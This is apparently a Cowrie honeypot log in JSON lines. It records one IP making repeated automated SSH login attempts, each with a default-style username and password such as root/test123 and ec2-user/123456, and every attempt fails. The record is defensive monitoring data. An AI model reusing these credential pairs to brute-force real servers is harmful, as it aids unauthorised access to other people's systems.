{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":47438,"dst_ip":"10.17.0.5","dst_port":22,"session":"2aa9a30dd523","protocol":"ssh","message":"New connection: 193.151.144.93:47438 (10.17.0.5:22) [session: 2aa9a30dd523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:00.915913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:00.927988Z","src_ip":"193.151.144.93","session":"2aa9a30dd523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:01.103606Z","src_ip":"193.151.144.93","session":"2aa9a30dd523","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:01.611357Z","src_ip":"193.151.144.93","session":"2aa9a30dd523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:03.675809Z","src_ip":"193.151.144.93","session":"2aa9a30dd523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":47458,"dst_ip":"10.17.0.5","dst_port":22,"session":"4879246c91fa","protocol":"ssh","message":"New connection: 193.151.144.93:47458 (10.17.0.5:22) [session: 4879246c91fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:06.301656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:06.306779Z","src_ip":"193.151.144.93","session":"4879246c91fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:06.468946Z","src_ip":"193.151.144.93","session":"4879246c91fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:07.042214Z","src_ip":"193.151.144.93","session":"4879246c91fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:09.045322Z","src_ip":"193.151.144.93","session":"4879246c91fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37430,"dst_ip":"10.17.0.5","dst_port":22,"session":"00749c423787","protocol":"ssh","message":"New connection: 193.151.144.93:37430 (10.17.0.5:22) [session: 00749c423787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:12.148198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:12.153343Z","src_ip":"193.151.144.93","session":"00749c423787","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:12.330586Z","src_ip":"193.151.144.93","session":"00749c423787","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:12.874019Z","src_ip":"193.151.144.93","session":"00749c423787","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:14.050946Z","src_ip":"193.151.144.93","session":"00749c423787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37434,"dst_ip":"10.17.0.5","dst_port":22,"session":"54d42867acf8","protocol":"ssh","message":"New connection: 193.151.144.93:37434 (10.17.0.5:22) [session: 54d42867acf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:17.827512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:17.832904Z","src_ip":"193.151.144.93","session":"54d42867acf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:18.000188Z","src_ip":"193.151.144.93","session":"54d42867acf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:18.519870Z","src_ip":"193.151.144.93","session":"54d42867acf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:19.689560Z","src_ip":"193.151.144.93","session":"54d42867acf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":48860,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dce85149449","protocol":"ssh","message":"New connection: 193.151.144.93:48860 (10.17.0.5:22) [session: 6dce85149449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:23.213843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:23.218826Z","src_ip":"193.151.144.93","session":"6dce85149449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:23.382372Z","src_ip":"193.151.144.93","session":"6dce85149449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:23.873794Z","src_ip":"193.151.144.93","session":"6dce85149449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:25.041448Z","src_ip":"193.151.144.93","session":"6dce85149449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":48876,"dst_ip":"10.17.0.5","dst_port":22,"session":"4998fce178c3","protocol":"ssh","message":"New connection: 193.151.144.93:48876 (10.17.0.5:22) [session: 4998fce178c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:28.671027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:28.677865Z","src_ip":"193.151.144.93","session":"4998fce178c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:28.849528Z","src_ip":"193.151.144.93","session":"4998fce178c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:29.370260Z","src_ip":"193.151.144.93","session":"4998fce178c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:30.544549Z","src_ip":"193.151.144.93","session":"4998fce178c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37312,"dst_ip":"10.17.0.5","dst_port":22,"session":"a51484b3c4ca","protocol":"ssh","message":"New connection: 193.151.144.93:37312 (10.17.0.5:22) [session: a51484b3c4ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:34.349368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:34.354350Z","src_ip":"193.151.144.93","session":"a51484b3c4ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:34.528480Z","src_ip":"193.151.144.93","session":"a51484b3c4ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:35.169748Z","src_ip":"193.151.144.93","session":"a51484b3c4ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:36.347778Z","src_ip":"193.151.144.93","session":"a51484b3c4ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":47650,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ee174578168","protocol":"ssh","message":"New connection: 193.151.144.93:47650 (10.17.0.5:22) [session: 2ee174578168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:40.261447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:40.264966Z","src_ip":"193.151.144.93","session":"2ee174578168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:40.435840Z","src_ip":"193.151.144.93","session":"2ee174578168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:40.946379Z","src_ip":"193.151.144.93","session":"2ee174578168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:42.118270Z","src_ip":"193.151.144.93","session":"2ee174578168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":47658,"dst_ip":"10.17.0.5","dst_port":22,"session":"740bc90cdd44","protocol":"ssh","message":"New connection: 193.151.144.93:47658 (10.17.0.5:22) [session: 740bc90cdd44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:45.917599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:45.924230Z","src_ip":"193.151.144.93","session":"740bc90cdd44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-n